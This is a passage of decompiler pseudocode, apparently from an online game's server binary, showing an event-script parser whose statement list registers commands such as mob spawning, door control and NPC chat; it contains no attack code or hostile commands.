//----- (0049F2C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateInfinite::StateInfinite(PineEventScriptNode::StateInfinite *this) { this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateInfinite::_vftable_; PineEventScriptNode::Block::Block(&this->si_Block); } // 5B1328: using guessed type int (__stdcall *PineEventScriptNode__StateInfinite___vftable_)(int tr); //----- (0049F310) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateWhile::StateWhile(PineEventScriptNode::StateWhile *this) { PineEventScriptNode::StateWhile *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateWhile::_vftable_; PineEventScriptNode::Condition::Condition(&this->sw_Condition); PineEventScriptNode::Block::Block(&v1->sw_Block); } // 5B133C: using guessed type int (__stdcall *PineEventScriptNode__StateWhile___vftable_)(int tr); //----- (0049F370) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::Block::sb_CloneMe(PineEventScriptNode::Block *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x118u); if ( v1 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v1); else result = 0; return result; } //----- (0049F3D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateInfinite::sb_CloneMe(PineEventScriptNode::StateInfinite *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x11Cu); if ( v1 ) PineEventScriptNode::StateInfinite::StateInfinite((PineEventScriptNode::StateInfinite *)v1); else result = 0; return result; } //----- (0049F430) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateWhile::sb_CloneMe(PineEventScriptNode::StateWhile *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x460u); if ( v1 ) PineEventScriptNode::StateWhile::StateWhile((PineEventScriptNode::StateWhile *)v1); else result = 0; return result; } //----- (0049F490) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Load(PineEventScriptNode::StateIf *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateIf *v2; // ebx@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v7; // eax@10 PineEventScriptNode::ScriptAtom *v8; // eax@11 PineEventScriptNode::ScriptAtom v9; // edx@13 void *v10; // eax@18 PineEventScriptNode::ScriptAtom *v11; // eax@19 PineEventScriptNode::ScriptAtom *v12; // eax@22 void *v13; // ST00_4@23 void *v14; // eax@24 PineEventScriptNode::ScriptAtom *v15; // eax@25 PineEventScriptNode::ScriptAtom v16; // edx@27 unsigned __int16 result; // ax@29 PineScriptToken tkn; // [sp+14h] [bp-110h]@1 unsigned int v19; // [sp+114h] [bp-10h]@29 int v20; // [sp+120h] [bp-4h]@10 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_32; v3 = (int)"if"; v4 = &tkn; v5 = 3; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { LABEL_32: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); goto LABEL_29; } if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Condition *, _DWORD, PineScriptReader::TokenReader *))v2->si_Condition.baseclass_0.vfptr->sa_Load)( &v2->si_Condition, 0, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, "then") ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { v7 = operator new(0x118u); v20 = 0; if ( v7 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v7); else v8 = 0; v2->si_True = v8; v9.vfptr = v8->vfptr; v20 = -1; if ( !(unsigned __int16)v9.vfptr->sa_Load(v8, tr) ) goto LABEL_29; } if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, "else") ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { v10 = operator new(0x350u); if ( v10 ) PineEventScriptNode::StateIf::StateIf((PineEventScriptNode::StateIf *)v10); else v11 = 0; v2->si_False = v11; if ( !v11->vfptr->sa_Load(v11, tr) ) { v12 = v2->si_False; if ( v12 ) { v13 = v2->si_False; v12->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v13); } v14 = operator new(0x118u); v20 = 1; if ( v14 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v14); else v15 = 0; v2->si_False = v15; v16.vfptr = v15->vfptr; v20 = -1; v16.vfptr->sa_Load(v15, tr); } } } } LABEL_29: __security_check_cookie(v19); return result; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (0049F6A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementList::StatementList(PineEventScriptNode::StatementList *this) { PineEventScriptNode::StatementList *v1; // esi@1 void *v2; // eax@1 unsigned int v3; // edx@4 void *v4; // eax@7 PineEventScriptNode::StatementBase *v5; // eax@8 unsigned int v6; // edx@10 void *v7; // eax@13 PineEventScriptNode::StatementBase *v8; // eax@14 unsigned int v9; // edx@16 void *v10; // eax@19 PineEventScriptNode::StatementBase *v11; // eax@20 unsigned int v12; // edx@22 void *v13; // eax@25 PineEventScriptNode::StatementBase *v14; // eax@26 unsigned int v15; // edx@28 void *v16; // eax@31 void *v17; // edi@31 unsigned int v18; // ecx@34 void *v19; // eax@37 unsigned int v20; // edx@40 void *v21; // eax@43 void *v22; // edi@43 unsigned int v23; // ecx@46 void *v24; // eax@49 unsigned int v25; // edx@52 void *v26; // eax@55 void *v27; // edx@56 unsigned int v28; // ecx@58 void *v29; // eax@61 PineEventScriptNode::StatementBase *v30; // eax@62 unsigned int v31; // edx@64 void *v32; // eax@67 PineEventScriptNode::StatementBase *v33; // eax@68 unsigned int v34; // edx@70 void *v35; // eax@73 PineEventScriptNode::StatementBase *v36; // eax@74 unsigned int v37; // edx@76 void *v38; // eax@79 PineEventScriptNode::StatementBase *v39; // eax@80 unsigned int v40; // edx@82 void *v41; // eax@85 PineEventScriptNode::StatementBase *v42; // eax@86 unsigned int v43; // edx@88 void *v44; // eax@91 PineEventScriptNode::StatementBase *v45; // eax@92 unsigned int v46; // edx@94 void *v47; // eax@97 PineEventScriptNode::StatementBase *v48; // eax@98 unsigned int v49; // edx@100 void *v50; // eax@103 PineEventScriptNode::StatementBase *v51; // eax@104 unsigned int v52; // edx@106 void *v53; // eax@109 PineEventScriptNode::StatementBase *v54; // eax@110 unsigned int v55; // edx@112 void *v56; // eax@115 PineEventScriptNode::StatementBase *v57; // eax@116 unsigned int v58; // edx@118 void *v59; // eax@121 PineEventScriptNode::StatementBase *v60; // eax@122 unsigned int v61; // edx@124 void *v62; // eax@127 PineEventScriptNode::StatementBase *v63; // eax@128 unsigned int v64; // edx@130 void *v65; // eax@133 PineEventScriptNode::StatementBase *v66; // eax@134 unsigned int v67; // edx@136 void *v68; // eax@139 PineEventScriptNode::StatementBase *v69; // eax@140 unsigned int v70; // edx@142 void *v71; // eax@145 PineEventScriptNode::StatementBase *v72; // eax@146 unsigned int v73; // edx@148 void *v74; // eax@151 PineEventScriptNode::StatementBase *v75; // eax@152 unsigned int v76; // edx@154 void *v77; // eax@157 PineEventScriptNode::StatementBase *v78; // eax@158 unsigned int v79; // edx@160 void *v80; // eax@163 PineEventScriptNode::StatementBase *v81; // eax@164 unsigned int v82; // edx@166 void *v83; // eax@169 PineEventScriptNode::StatementBase *v84; // eax@170 unsigned int v85; // edx@172 void *v86; // eax@175 PineEventScriptNode::StatementBase *v87; // eax@176 unsigned int v88; // edx@178 void *v89; // eax@181 PineEventScriptNode::StatementBase *v90; // eax@182 unsigned int v91; // edx@184 void *v92; // eax@187 PineEventScriptNode::StatementBase *v93; // eax@188 unsigned int v94; // edx@190 void *v95; // eax@193 PineEventScriptNode::StatementBase *v96; // eax@194 unsigned int v97; // edx@196 void *v98; // eax@199 PineEventScriptNode::StatementBase *v99; // eax@200 unsigned int v100; // edx@202 void *v101; // eax@205 PineEventScriptNode::StatementBase *v102; // eax@206 unsigned int v103; // edx@208 void *v104; // eax@211 PineEventScriptNode::StatementBase *v105; // eax@212 unsigned int v106; // edx@214 void *v107; // eax@217 PineEventScriptNode::StatementBase *v108; // eax@218 unsigned int v109; // edx@220 void *v110; // eax@223 PineEventScriptNode::StatementBase *v111; // eax@224 unsigned int v112; // edx@226 void *v113; // eax@229 PineEventScriptNode::StatementBase *v114; // eax@230 unsigned int v115; // edx@232 void *v116; // eax@235 PineEventScriptNode::StatementBase *v117; // eax@236 unsigned int v118; // edx@238 void *v119; // eax@241 PineEventScriptNode::StatementBase *v120; // eax@242 unsigned int v121; // edx@244 void *v122; // eax@247 PineEventScriptNode::StatementBase *v123; // eax@248 unsigned int v124; // edx@250 void *v125; // eax@253 PineEventScriptNode::StatementBase *v126; // eax@254 unsigned int v127; // edx@256 void *v128; // eax@259 PineEventScriptNode::StatementBase *v129; // eax@260 unsigned int v130; // edx@262 void *v131; // eax@265 PineEventScriptNode::StatementBase *v132; // eax@266 unsigned int v133; // edx@268 void *v134; // eax@271 PineEventScriptNode::StatementBase *v135; // eax@272 unsigned int v136; // edx@274 void *v137; // eax@277 PineEventScriptNode::StatementBase *v138; // eax@278 unsigned int v139; // edx@280 void *v140; // eax@283 PineEventScriptNode::StatementBase *v141; // eax@284 unsigned int v142; // edx@286 void *v143; // eax@289 PineEventScriptNode::StatementBase *v144; // eax@290 unsigned int v145; // edx@292 void *v146; // eax@295 PineEventScriptNode::StatementBase *v147; // eax@296 unsigned int v148; // edx@298 void *v149; // eax@301 PineEventScriptNode::StatementBase *v150; // eax@302 unsigned int v151; // edx@304 void *v152; // eax@307 PineEventScriptNode::StatementBase *v153; // eax@308 unsigned int v154; // edx@310 void *v155; // eax@313 PineEventScriptNode::StatementBase *v156; // eax@314 unsigned int v157; // edx@316 void *v158; // eax@319 PineEventScriptNode::StatementBase *v159; // eax@320 unsigned int v160; // edx@322 void *v161; // eax@325 PineEventScriptNode::StatementBase *v162; // eax@326 unsigned int v163; // edx@328 void *v164; // eax@331 PineEventScriptNode::StatementBase *v165; // eax@332 unsigned int v166; // edx@334 void *v167; // eax@337 PineEventScriptNode::StatementBase *v168; // eax@338 unsigned int v169; // edx@340 void *v170; // eax@343 PineEventScriptNode::StatementBase *v171; // eax@344 unsigned int v172; // edx@346 void *v173; // eax@349 PineEventScriptNode::StatementBase *v174; // eax@350 unsigned int v175; // edx@352 void *v176; // eax@355 PineEventScriptNode::StatementBase *v177; // eax@356 unsigned int v178; // edx@358 void *v179; // eax@361 PineEventScriptNode::StatementBase *v180; // eax@362 unsigned int v181; // edx@364 void *v182; // eax@367 PineEventScriptNode::StatementBase *v183; // eax@368 unsigned int v184; // edx@370 void *v185; // eax@373 PineEventScriptNode::StatementBase *v186; // eax@374 unsigned int v187; // edx@376 void *v188; // eax@379 PineEventScriptNode::StatementBase *v189; // eax@380 unsigned int v190; // edx@382 void *v191; // eax@385 PineEventScriptNode::StatementBase *v192; // eax@386 unsigned int v193; // edx@388 void *v194; // eax@391 PineEventScriptNode::StatementBase *v195; // eax@392 unsigned int v196; // edx@394 void *v197; // eax@397 PineEventScriptNode::StatementBase *v198; // eax@398 unsigned int v199; // edx@400 void *v200; // eax@403 PineEventScriptNode::StatementBase *v201; // eax@404 unsigned int v202; // edx@406 void *v203; // eax@409 PineEventScriptNode::StatementBase *v204; // eax@410 unsigned int v205; // edx@412 void *v206; // eax@415 PineEventScriptNode::StatementBase *v207; // eax@416 unsigned int v208; // edx@418 void *v209; // eax@421 PineEventScriptNode::StatementBase *v210; // eax@422 unsigned int v211; // edx@424 void *v212; // eax@427 PineEventScriptNode::StatementBase *v213; // eax@428 unsigned int v214; // edx@430 void *v215; // eax@433 PineEventScriptNode::StatementBase *v216; // eax@434 unsigned int v217; // edx@436 void *v218; // eax@439 PineEventScriptNode::StatementBase *v219; // eax@440 unsigned int v220; // edx@442 void *v221; // eax@445 PineEventScriptNode::StatementBase *v222; // eax@446 unsigned int v223; // edx@448 void *v224; // eax@451 PineEventScriptNode::StatementBase *v225; // eax@452 unsigned int v226; // edx@454 void *v227; // eax@457 PineEventScriptNode::StatementBase *v228; // eax@458 unsigned int v229; // edx@460 void *v230; // eax@463 PineEventScriptNode::StatementBase *v231; // eax@464 unsigned int v232; // edx@466 void *v233; // eax@469 PineEventScriptNode::StatementBase *v234; // eax@470 unsigned int v235; // edx@472 void *v236; // eax@475 PineEventScriptNode::StatementBase *v237; // eax@476 unsigned int v238; // edx@478 void *v239; // eax@481 PineEventScriptNode::StatementBase *v240; // eax@482 unsigned int v241; // edx@484 void *v242; // eax@487 PineEventScriptNode::StatementBase *v243; // eax@488 void *v244; // eax@490 PineEventScriptNode::StatementBase *v245; // eax@491 void *v246; // eax@493 PineEventScriptNode::StatementBase *v247; // eax@494 void *v248; // eax@496 PineEventScriptNode::StatementBase *v249; // eax@497 void *v250; // eax@499 PineEventScriptNode::StatementBase *v251; // eax@500 void *v252; // eax@502 PineEventScriptNode::StatementBase *v253; // eax@503 void *v254; // eax@505 PineEventScriptNode::StatementBase *v255; // eax@506 void *v256; // eax@508 PineEventScriptNode::StatementBase *v257; // eax@509 void *v258; // eax@511 PineEventScriptNode::StatementBase *v259; // eax@512 void *v260; // eax@514 PineEventScriptNode::StatementBase *v261; // eax@515 void *v262; // eax@517 PineEventScriptNode::StatementBase *v263; // eax@518 void *v264; // eax@520 PineEventScriptNode::StatementBase *v265; // eax@521 v1 = this; this->sl_Point = 0; v2 = operator new(0x12Cu); if ( v2 ) { *(_DWORD *)v2 = &PineEventScriptNode::StateAssignment::_vftable_; *((_DWORD *)v2 + 1) = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; *((_DWORD *)v2 + 4) = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v2 + 5) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v2 + 7) = 0; *((_DWORD *)v2 + 6) = 0; *((_DWORD *)v2 + 8) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v2 + 36) = 0; *((_DWORD *)v2 + 73) = 0; *((_DWORD *)v2 + 74) = 0; } else { v2 = 0; } v3 = v1->sl_Point; if ( v3 < 0x80 ) { v1->sl_Array[v3] = (PineEventScriptNode::StatementBase *)v2; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v4 = operator new(0x118u); if ( v4 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v4); else v5 = 0; v6 = v1->sl_Point; if ( v6 < 0x80 ) { v1->sl_Array[v6] = v5; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v7 = operator new(0x4A08u); if ( v7 ) PineEventScriptNode::StateVarDeclear::StateVarDeclear((PineEventScriptNode::StateVarDeclear *)v7); else v8 = 0; v9 = v1->sl_Point; if ( v9 < 0x80 ) { v1->sl_Array[v9] = v8; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v10 = operator new(0x11Cu); if ( v10 ) PineEventScriptNode::StateInfinite::StateInfinite((PineEventScriptNode::StateInfinite *)v10); else v11 = 0; v12 = v1->sl_Point; if ( v12 < 0x80 ) { v1->sl_Array[v12] = v11; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v13 = operator new(0x460u); if ( v13 ) PineEventScriptNode::StateWhile::StateWhile((PineEventScriptNode::StateWhile *)v13); else v14 = 0; v15 = v1->sl_Point; if ( v15 < 0x80 ) { v1->sl_Array[v15] = v14; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v16 = operator new(0x350u); v17 = v16; if ( v16 ) { *(_DWORD *)v16 = &PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition((PineEventScriptNode::Condition *)((char *)v16 + 4)); *((_DWORD *)v17 + 211) = 0; *((_DWORD *)v17 + 210) = 0; } else { v17 = 0; } v18 = v1->sl_Point; if ( v18 < 0x80 ) { v1->sl_Array[v18] = (PineEventScriptNode::StatementBase *)v17; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v19 = operator new(0x124u); if ( v19 ) { *(_DWORD *)v19 = &PineEventScriptNode::StateCall::_vftable_; *((_DWORD *)v19 + 1) = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v19 + 2) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v19 + 4) = 0; *((_DWORD *)v19 + 3) = 0; *((_DWORD *)v19 + 5) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v19 + 24) = 0; *((_DWORD *)v19 + 70) = 0; *((_DWORD *)v19 + 71) = 0; *((_DWORD *)v19 + 72) = 0; } else { v19 = 0; } v20 = v1->sl_Point; if ( v20 < 0x80 ) { v1->sl_Array[v20] = (PineEventScriptNode::StatementBase *)v19; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v21 = operator new(0x140u); v22 = v21; if ( v21 ) { PineEventScriptNode::StatementBaseExpress::StatementBaseExpress( (PineEventScriptNode::StatementBaseExpress *)v21, "print"); *(_DWORD *)v22 = &PineEventScriptNode::StatePrint::_vftable_; } else { v22 = 0; } v23 = v1->sl_Point; if ( v23 < 0x80 ) { v1->sl_Array[v23] = (PineEventScriptNode::StatementBase *)v22; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v24 = operator new(0x10u); if ( v24 ) { *(_DWORD *)v24 = &PineEventScriptNode::StatePermillage::_vftable_; *((_DWORD *)v24 + 1) = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v24 + 2) = 0; *((_DWORD *)v24 + 3) = 0; } else { v24 = 0; } v25 = v1->sl_Point; if ( v25 < 0x80 ) { v1->sl_Array[v25] = (PineEventScriptNode::StatementBase *)v24; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v26 = operator new(8u); if ( v26 ) { *(_DWORD *)v26 = &PineEventScriptNode::StateBreak::_vftable_; *((_DWORD *)v26 + 1) = 0; v27 = v26; } else { v27 = 0; } v28 = v1->sl_Point; if ( v28 < 0x80 ) { v1->sl_Array[v28] = (PineEventScriptNode::StatementBase *)v27; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v29 = operator new(0xBCu); if ( v29 ) PineEventScriptNode::ShinePrintf::ShinePrintf((PineEventScriptNode::ShinePrintf *)v29); else v30 = 0; v31 = v1->sl_Point; if ( v31 < 0x80 ) { v1->sl_Array[v31] = v30; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v32 = operator new(0xBCu); if ( v32 ) PineEventScriptNode::ShineScriptFile::ShineScriptFile((PineEventScriptNode::ShineScriptFile *)v32); else v33 = 0; v34 = v1->sl_Point; if ( v34 < 0x80 ) { v1->sl_Array[v34] = v33; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v35 = operator new(0xBCu); if ( v35 ) PineEventScriptNode::ShineTimeLimit::ShineTimeLimit((PineEventScriptNode::ShineTimeLimit *)v35); else v36 = 0; v37 = v1->sl_Point; if ( v37 < 0x80 ) { v1->sl_Array[v37] = v36; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v38 = operator new(0xBCu); if ( v38 ) PineEventScriptNode::ShineInterruptClear::ShineInterruptClear((PineEventScriptNode::ShineInterruptClear *)v38); else v39 = 0; v40 = v1->sl_Point; if ( v40 < 0x80 ) { v1->sl_Array[v40] = v39; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v41 = operator new(0xBCu); if ( v41 ) PineEventScriptNode::ShineInterruptSet::ShineInterruptSet((PineEventScriptNode::ShineInterruptSet *)v41); else v42 = 0; v43 = v1->sl_Point; if ( v43 < 0x80 ) { v1->sl_Array[v43] = v42; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v44 = operator new(0xBCu); if ( v44 ) PineEventScriptNode::ShineInterruptErase::ShineInterruptErase((PineEventScriptNode::ShineInterruptErase *)v44); else v45 = 0; v46 = v1->sl_Point; if ( v46 < 0x80 ) { v1->sl_Array[v46] = v45; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v47 = operator new(0xBCu); if ( v47 ) PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt((PineEventScriptNode::ShineWaitInterrupt *)v47); else v48 = 0; v49 = v1->sl_Point; if ( v49 < 0x80 ) { v1->sl_Array[v49] = v48; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v50 = operator new(0xBCu); if ( v50 ) PineEventScriptNode::ShineMobRegen::ShineMobRegen((PineEventScriptNode::ShineMobRegen *)v50); else v51 = 0; v52 = v1->sl_Point; if ( v52 < 0x80 ) { v1->sl_Array[v52] = v51; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v53 = operator new(0xBCu); if ( v53 ) PineEventScriptNode::ShineDoorBuild::ShineDoorBuild((PineEventScriptNode::ShineDoorBuild *)v53); else v54 = 0; v55 = v1->sl_Point; if ( v55 < 0x80 ) { v1->sl_Array[v55] = v54; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v56 = operator new(0xBCu); if ( v56 ) PineEventScriptNode::ShineNPCStand::ShineNPCStand((PineEventScriptNode::ShineNPCStand *)v56); else v57 = 0; v58 = v1->sl_Point; if ( v58 < 0x80 ) { v1->sl_Array[v58] = v57; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v59 = operator new(0xBCu); if ( v59 ) PineEventScriptNode::ShineChange2Mob::ShineChange2Mob((PineEventScriptNode::ShineChange2Mob *)v59); else v60 = 0; v61 = v1->sl_Point; if ( v61 < 0x80 ) { v1->sl_Array[v61] = v60; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v62 = operator new(0xBCu); if ( v62 ) PineEventScriptNode::ShineChange2Door::ShineChange2Door((PineEventScriptNode::ShineChange2Door *)v62); else v63 = 0; v64 = v1->sl_Point; if ( v64 < 0x80 ) { v1->sl_Array[v64] = v63; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v65 = operator new(0xBCu); if ( v65 ) PineEventScriptNode::ShineChange2NPC::ShineChange2NPC((PineEventScriptNode::ShineChange2NPC *)v65); else v66 = 0; v67 = v1->sl_Point; if ( v67 < 0x80 ) { v1->sl_Array[v67] = v66; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v68 = operator new(0xBCu); if ( v68 ) PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob((PineEventScriptNode::ShineExchange2Mob *)v68); else v69 = 0; v70 = v1->sl_Point; if ( v70 < 0x80 ) { v1->sl_Array[v70] = v69; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v71 = operator new(0xBCu); if ( v71 ) PineEventScriptNode::ShineDoorOpen::ShineDoorOpen((PineEventScriptNode::ShineDoorOpen *)v71); else v72 = 0; v73 = v1->sl_Point; if ( v73 < 0x80 ) { v1->sl_Array[v73] = v72; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v74 = operator new(0xBCu); if ( v74 ) PineEventScriptNode::ShineDoorClose::ShineDoorClose((PineEventScriptNode::ShineDoorClose *)v74); else v75 = 0; v76 = v1->sl_Point; if ( v76 < 0x80 ) { v1->sl_Array[v76] = v75; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v77 = operator new(0xBCu); if ( v77 ) PineEventScriptNode::ShineObjectVanish::ShineObjectVanish((PineEventScriptNode::ShineObjectVanish *)v77); else v78 = 0; v79 = v1->sl_Point; if ( v79 < 0x80 ) { v1->sl_Array[v79] = v78; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v80 = operator new(0xBCu); if ( v80 ) PineEventScriptNode::ShineRegenGroup::ShineRegenGroup((PineEventScriptNode::ShineRegenGroup *)v80); else v81 = 0; v82 = v1->sl_Point; if ( v82 < 0x80 ) { v1->sl_Array[v82] = v81; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v83 = operator new(0xBCu); if ( v83 ) PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin((PineEventScriptNode::ShineWaitUserLogin *)v83); else v84 = 0; v85 = v1->sl_Point; if ( v85 < 0x80 ) { v1->sl_Array[v85] = v84; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v86 = operator new(0xBCu); if ( v86 ) PineEventScriptNode::ShinePause::ShinePause((PineEventScriptNode::ShinePause *)v86); else v87 = 0; v88 = v1->sl_Point; if ( v88 < 0x80 ) { v1->sl_Array[v88] = v87; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v89 = operator new(0xBCu); if ( v89 ) PineEventScriptNode::ShineNPCChat::ShineNPCChat((PineEventScriptNode::ShineNPCChat *)v89); else v90 = 0; v91 = v1->sl_Point; if ( v91 < 0x80 ) { v1->sl_Array[v91] = v90; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v92 = operator new(0xBCu); if ( v92 ) PineEventScriptNode::ShineNPCShout::ShineNPCShout((PineEventScriptNode::ShineNPCShout *)v92); else v93 = 0; v94 = v1->sl_Point; if ( v94 < 0x80 ) { v1->sl_Array[v94] = v93; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v95 = operator new(0xBCu); if ( v95 ) PineEventScriptNode::ShineChatWindow::ShineChatWindow((PineEventScriptNode::ShineChatWindow *)v95); else v96 = 0; v97 = v1->sl_Point; if ( v97 < 0x80 ) { v1->sl_Array[v97] = v96; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v98 = operator new(0xBCu); if ( v98 ) PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange((PineEventScriptNode::ShineChatWindowRange *)v98); else v99 = 0; v100 = v1->sl_Point; if ( v100 < 0x80 ) { v1->sl_Array[v100] = v99; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v101 = operator new(0xBCu); if ( v101 ) PineEventScriptNode::ShineSummonMob::ShineSummonMob((PineEventScriptNode::ShineSummonMob *)v101); else v102 = 0; v103 = v1->sl_Point; if ( v103 < 0x80 ) { v1->sl_Array[v103] = v102; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v104 = operator new(0xBCu); if ( v104 ) PineEventScriptNode::ShineQuestResult::ShineQuestResult((PineEventScriptNode::ShineQuestResult *)v104); else v105 = 0; v106 = v1->sl_Point; if ( v106 < 0x80 ) { v1->sl_Array[v106] = v105; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v107 = operator new(0xBCu); if ( v107 ) PineEventScriptNode::ShineReward::ShineReward((PineEventScriptNode::ShineReward *)v107); else v108 = 0; v109 = v1->sl_Point; if ( v109 < 0x80 ) { v1->sl_Array[v109] = v108; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v110 = operator new(0xBCu); if ( v110 ) PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout((PineEventScriptNode::ShineSomeoneShout *)v110); else v111 = 0; v112 = v1->sl_Point; if ( v112 < 0x80 ) { v1->sl_Array[v112] = v111; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v113 = operator new(0xBCu); if ( v113 ) PineEventScriptNode::ShineBroadcast::ShineBroadcast((PineEventScriptNode::ShineBroadcast *)v113); else v114 = 0; v115 = v1->sl_Point; if ( v115 < 0x80 ) { v1->sl_Array[v115] = v114; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v116 = operator new(0xBCu); if ( v116 ) PineEventScriptNode::ShineLinkTo::ShineLinkTo((PineEventScriptNode::ShineLinkTo *)v116); else v117 = 0; v118 = v1->sl_Point; if ( v118 < 0x80 ) { v1->sl_Array[v118] = v117; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v119 = operator new(0xBCu); if ( v119 ) PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe((PineEventScriptNode::ShineWhoClickMe *)v119); else v120 = 0; v121 = v1->sl_Point; if ( v121 < 0x80 ) { v1->sl_Array[v121] = v120; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v122 = operator new(0xBCu); if ( v122 ) 